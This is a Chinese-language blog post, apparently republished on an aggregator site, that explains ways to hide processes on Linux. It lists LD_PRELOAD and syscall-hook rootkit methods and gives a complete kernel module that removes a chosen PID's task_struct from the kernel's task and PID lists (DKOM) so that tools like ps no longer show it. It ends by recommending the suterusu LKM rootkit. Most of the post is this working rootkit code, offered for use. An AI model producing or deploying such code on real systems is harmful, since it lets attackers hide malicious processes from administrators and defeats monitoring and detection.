Linux 隐藏进程

这篇具有很好参考价值的文章主要介绍了Linux 隐藏进程。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、 隐藏进程的几种方法

  1. 用户级Rootkit 通过LD_PRELOAD来hook libc库,从而过滤/proc/pid目录
  2. 内核级rootkit 通过hook系统调用getdents/getdents64或者hook 文件file_operation的iterate
  3. 内核级rootkit把task_struct从相关链表摘除(init_task,pidlist)

关于第一种hook方式可以参考上一篇文章Linux LD_PRELOAD Hook

二、摘链隐藏

这种方式属于DKoM(Direct Kernel Object Manipulation)攻击方式了,即直接内核对象操作技术。这里直接贴上大佬总结好的博客链接: Linux系统下如何隐藏自己的进程?
实现代码:

#include <linux/module.h>
#include <linux/sched.h>

/*摘链隐藏代码,只需要修改想要隐藏pid号就可以了*/
void hide_process(void)
{
    /* Linux kernel version 4.x.x */
    // int pid = 2;
    // struct task_struct *task = NULL;
    // struct pid_link *link = NULL;
    // struct hlist_node *node = NULL;

    // task = pid_task(find_vpid(pid), PIDTYPE_PID);
    // link = &task->pids[PIDTYPE_PID];

    // list_del_rcu(&task->tasks);
    // INIT_LIST_HEAD(&task->tasks);
    // node = &link->node;
    // hlist_del_rcu(node);
    // INIT_HLIST_NODE(node);
    // node->pprev = &node;

    /* linx kernel version is 5.4.8 */
    int pid = 2;
    struct task_struct *task = NULL;
    struct hlist_node *node = NULL;

    task = pid_task(find_vpid(pid), PIDTYPE_PID);

    list_del_rcu(&task->tasks);
    INIT_LIST_HEAD(&task->tasks);
    node = &task->pid_links[PIDTYPE_PID];
    hlist_del_rcu(node);
    INIT_HLIST_NODE(node);
    node->pprev = &node;
}

/*还原链表,ps -aux仍然可以查看进程信息*/
static int restore_process(struct task_struct *task)
{
	struct hlist_node *node = NULL;
	struct pid *thread_pid = NULL;

	printk("Enter into restore process procedure!\n");

	hlist_add_head_rcu(&task->pid_links[PIDTYPE_PID], &task->thread_pid->tasks[PIDTYPE_PID]);
	list_add_tail_rcu(&task->tasks, &init_task.tasks);

	return 0;
}

static int __init test_init(void)
{
    hide_process();

    return -1;
}
 
static void __exit test_exit(void){
	
	printk(KERN_INFO "file --> %s function --> %s  line --> %d\n",__FILE__,__func__,__LINE__);
 
}
 
module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("curtis li");

附录:

最后推荐一个rootkit工具
An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM:suterusu文章来源地址https://www.toymoban.com/news/detail-726844.html

到了这里,关于Linux 隐藏进程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Linux rootkit之隐藏TCP端口和检测

    主要参考文章:Linux Rootkits Part 8: Hiding Open Ports Linux 下使用 netstat 查看 TCP/UDP 连接情况,然后用 strace 追踪查看其数据来源: 可以看到 netstat 命令的数据来源于 /proc/net/tcp 文件。 /proc/net/tcp接口提供有关当前活动TCP的信息连接,并由net/ipv4/tcpipv4.c中的tcp4_seq_show()实现。 它将

    2024年02月17日
    浏览(32)
  • 【Linux笔记】Linux进程概念与进程状态

    进程的概念: 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配的基本单位,是操作系统结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序

    2024年02月06日
    浏览(48)
  • Linux文件隐藏属性及chattr和lsattr命令

    注:这两个指令在使用上必须要特别小心,否则会造成很大的困扰。例如:某天你心情好,突然将 /etc/shadow 这个重要的密码记录文件给他设置成为具有 i 的属性,那么过了若干天之后, 你突然要新增使用者,却一直无法新增,那么很有可能就是它的原因。(当Linux无法新增使

    2024年01月16日
    浏览(32)
  • 【Linux】Linux进程控制 --- 进程创建、终止、等待、替换、shell派生子进程的理解…

    柴犬: 你好啊,屏幕前的大帅哥or大美女,和我一起享受美好的今天叭😃😃😃 1. 在调用fork函数之后, 当执行的程序代码转移到内核中的fork代码后 ,内核需要分配 新的内存块 和 内核数据结构 给子进程, 内核数据结构包括PCB、mm_struct和页表,然后构建起映射关系 ,同时

    2024年01月16日
    浏览(58)
  • 【linux进程(三)】进程有哪些状态?--Linux下常见的三种进程状态

    💓博主CSDN主页:杭电码农-NEO💓   ⏩专栏分类:Linux从入门到精通⏪   🚚代码仓库:NEO的学习日记🚚   🌹关注我🫵带你学更多操作系统知识   🔝🔝 很明显,进程状态的本质就是进程 PCB结构体中的一个变量,它可能 是用宏定义来实现的,也可能是其他方式 本章重点: 本篇文

    2024年02月08日
    浏览(42)
  • 【Linux】进程周边004之进程的调度与切换(领略Linux系统进程调度算法的神奇)

      👀 樊梓慕: 个人主页  🎥 个人专栏: 《C语言》 《数据结构》 《蓝桥杯试题》 《LeetCode刷题笔记》 《实训项目》 《C++》 《Linux》 🌝 每一个不曾起舞的日子,都是对生命的辜负 目录 前言 1.进程切换 2.进程调度 2.1Linux系统的进程调度算法如何实现兼顾进程优先级的设计

    2024年02月04日
    浏览(29)
  • 【Linux之进程间通信】04.Linux进程间的信号通信

      【Linux之进程间通信】 项目代码获取: https://gitee.com/chenshao777/linux-processes.git (麻烦点个免费的Star哦,您的Star就是我的写作动力!) 04.Linux进程间的信号通信 【目录】   一、进程间信号发送方式   二、进程间信号接收方式   三、进程间信号处理方式 一、进程间信号发

    2024年02月06日
    浏览(43)
  • 【Linux C | 进程】Linux 进程间通信的10种方式(2)

    😁博客主页😁:🚀https://blog.csdn.net/wkd_007🚀 🤑博客内容🤑:🍭嵌入式开发、Linux、C语言、C++、数据结构、音视频🍭 🤣本文内容🤣:🍭介绍 🍭 😎金句分享😎:🍭你不能选择最好的,但最好的会来选择你——泰戈尔🍭 本文未经允许,不得转发!!! POSIX消息队列与

    2024年02月20日
    浏览(33)
  • 【Linux C | 进程】Linux 进程间通信的10种方式(1)

    😁博客主页😁:🚀https://blog.csdn.net/wkd_007🚀 🤑博客内容🤑:🍭嵌入式开发、Linux、C语言、C++、数据结构、音视频🍭 🤣本文内容🤣:🍭介绍 🍭 😎金句分享😎:🍭你不能选择最好的,但最好的会来选择你——泰戈尔🍭 本文未经允许,不得转发!!! 下表是进程间通

    2024年01月25日
    浏览(36)
  • linux 如何查看es进程,Linux---关闭Elasticsearch进程,并重新启动

    查看ES进程: 执行命令:ps -ef | grep elasticsearch 如果有elasticsearch进程,则会返回包含elasticsearch的进程信息,如下所示: 如果没有elasticsearch进程,则不会返回任何信息。 关闭ES进程: 执行命令:sudo systemctl stop elasticsearch 等待一段时间,直到ES进程完全停止。 重新启动

    2024年02月11日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包